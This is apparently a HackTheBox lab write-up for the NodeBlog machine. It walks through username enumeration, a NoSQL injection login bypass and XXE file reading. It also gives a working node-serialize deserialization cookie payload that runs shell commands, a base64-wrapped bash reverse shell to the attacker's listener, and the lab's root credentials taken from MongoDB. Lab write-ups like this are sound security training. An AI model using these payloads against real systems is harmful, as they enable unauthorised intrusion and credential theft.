HackTheBox Writeup — NodeBlog
Table Of Content :
1- enumeration :
- Nmap Scan
- Username Bruteforce in the login page
- NoSQL injection to bypass admins password in the login page
- XXE Injection Leads to LFI
2- FootHold :
- exploiting-node-js-deserialization-bug-for-remote-code-execution
- Change Users folder Permissions → USER-FLAG
3- Privilege escalation :
- accessing MongoDB and getting ROOT credentials → ROOT-FLAG
Step1 : Enumeration
# nmap -Pn 10.10.11.139 -sV -sC
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Node.js (Express middleware)Nmap reveals Two running services, SSH at port 22, a web server at the 5000 port and working with service Node.js
adding the ip and name in the /etc/hosts file :
10.10.11.139 nodeblog.htbBy opening the port that contains the NodeJS service in our web browser :
we see here a blog page that contains a login button and a random article.
By using Burp-suite i knew that the NodeJS is using web framework is Express running on port 5000.
After that i went to the login page and i tried to play in the headers and data inside the request using burp.
in the beginning i tried some random username and passwords but only one message does return when i try wrong usernames and passwords : “Invalid username”.
so i tried some basic default usernames because the error message only indicates that the only username is wrong which can be attacked and brute-forced.
trying username “admin” the message changed : “Invalid Password”
so now we have a username and need the password to bypass this login page.
continuing to play with the request i was able to get a new response when i changed in the content type in the request, changing content-type from application/x-www-form-urlencoded To application/json an error occurs
from this errors we learn that the server code resides at /opt/blog/ , which might be useful later on.
trying to make a normal json data request and it was successfully sent without any errors :
so i tried some SQL-injections but with no results and then i tried injecting NoSQL payload but in JSON format and it was success by changing in the request content-type to application/json and the data to json
{
"user": "admin",
"password": {"$ne": null}
}XXE Injection
Now we have login as admin successfully using the null bypass of the NoSQL injection and here we have 2 new features one for the upload and the other for the edit.
if we try to upload any file other than XML file it wont upload giving this error :
and whenever i upload a successful XML file the page is redirected to the edit page.
so immediately when you encounter any error regarding XML always think of XXE injection.
so i try to upload an xml file containing malicious payload :
this payload is to read the content of the file /etc/passwd and the result is right and we got a LFI through the XXE injection.
Step2 : Foothold
Since we previously learned that the source of the web application is in the /opt/blog/ directory, we can now try reading the source code for some further clues.
Since server.js is commonly used for NodeJS applications, we update our payload to target the /opt/blog/server.js file.
Submitting the payload reveals the following source code:
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)from this code we now know that the import of node-serialize and the subsequent call of the unserialize() method inside the authenticated() function on a request’s cookie c.
so we take a look for any vulnerabilities regarding the node-seralize and i found this article regarding this attack and i did find a very good article for this kind of vulnerability following the link :
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/to do this attack we need to take a look at the cookie and it appears to be URL-encoded JSON:
the cookie : %7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7DThe cookie decodes to: {"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}We now can exploit the unserialize() call by passing a serialized, malicious JavaScript object to the function, with an Immediately invoked function expression (IIFE) leading to arbitrary code execution.
so to test this method we will create a payload to know that if it works or not using ICMP(Ping) to our attacker machine.
Get moko55’s stories in your inbox
Join Medium for free to get updates from this writer.
We can build one such serialized object with the following JavaScript script in a file called payload.js :
The current payload is just a ping command, which we can use together with tcpdump on our local machine to verify if our attack works.
and then run the script using command :
# node payload.jsYou might encounter an error while using this command as the error “Error: Cannot find module ‘node-serialize’ “ will be shown to install it to run the script so we install
┌──(root㉿kali2023)-[~/Desktop]
└─# npm install node-serializenow we have the Serialized payload that we can inject in the attack but we need first to join both the old cookie with the new serialized cookie which will be like this :
cookie: auth={"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","haxez":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"ping -c 4 your-ip \", function(error, stdout, stderr) { console.log(stdout) });}()but before we send it we need to URL encode it, i used burp URL-encode all characters :
URL-encoded payload : %7b%22%75%73%65%72%22%3a%22%61%64%6d%69%6e%22%2c%22%73%69%67%6e%22%3a%22%32%33%65%31%31%32%30%37%32%39%34%35%34%31%38%36%30%31%64%65%62%34%37%64%39%61%36%63%37%64%65%38%22%2c%22%68%61%78%65%7a%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%20%28%29%7b%72%65%71%75%69%72%65%28%5c%22%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%5c%22%29%2e%65%78%65%63%28%5c%22%70%69%6e%67%20%2d%63%20%34%20%31%30%2e%31%30%2e%31%36%2e%39%37%5c%22%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7dand now we set up tcpdump to listen on the tun0 interface for the ICMP packets received by a successful ping .
┌──(root㉿kali2023)-[~]
└─# tcpdump -ni tun0 icmpWe now intercept The request in Burp-suite and update our cookie to the previously-encoded value and hit send and after sending the request we now can see that the payload works fine and we got four ping hits from the target machine :
now we can craft out reverse shell using the same steps :
whenever we are addressing or trying to connect to a target that we don't know if it has any filter to the inputs that is going to it, we can play it safe and send the command base64 encoded using command :
┌──(root㉿kali2023)-[~]
└─# echo -n 'bash -i >& /dev/tcp/Your-Ip/4444 0>&1' | base64
now we have the command in base64 but we still need the target to decode it to be executed in the target and send it to bash. The payload should look like the payload below.
echo -n <The-Encoded-Base64> | base64 -d | bashSo the final payload should look like the payload below :
Cookie: auth={"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","haxez":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n <The-Encoded-Base64> | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) });}()"}However, you will need to URL encode all the characters.
and don't forget to start your netcat listener before sending the request using command :
┌──(root㉿kali2023)-[~]
└─# nc -lnvvp 4444send the request and now we have GOT a reverse shell
whenever i get a reverse shell i always apply these command to get more interactive shell :
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fgnow we have our interactive shell but we still cant get the user flag because we don't have access with execute permission in the folder /home/admin but we have access to edit permission on the folder this means that we can change its permissions and give ourselves execute in the folder using command :
admin@nodeblog:/home$ chmod +x admin/and now we have the USER-FLAG
Step3 : Privilege Escalation
By Enumerating the target system reveals MongoDB running on its default port using command :
# ps auxwwWe can access the service on port 27017 using command :
admin@nodeblog:~$ ss -tlpnt : Show TCP sockets.
l : Show listening sockets (i.e., those waiting for incoming connections).
p : Show process using the socket.
n : Do not resolve service names (i.e., displays numerical addresses)We now can connect to the locally running instance using the command :
admin@nodeblog:~$ mongoRunning the show dbs command, we can list existing databases
> show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GBOf the listed ones, the only non-default one is blog , which we proceed to enumerate.
> use blog
> show collectionsWe find two collections, the latter of which, namely users is of primary interest as it might contain credentials. We proceed to dump its contents using command :
> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }so now we have creds :
username : admin
password : IppsecSaysPleaseSubscribeusing these credentials to access the root from our previous reverse shell using command :
admin@nodeblog:~$ sudo su
[sudo] password for admin: <the password>
root@nodeblog:/home/admin# id
uid=0(root) gid=0(root) groups=0(root)
root@nodeblog:/home/admin#navigating to the /root we can get the ROOT-FLAG
Created By moko55 → https://app.hackthebox.com/profile/935392










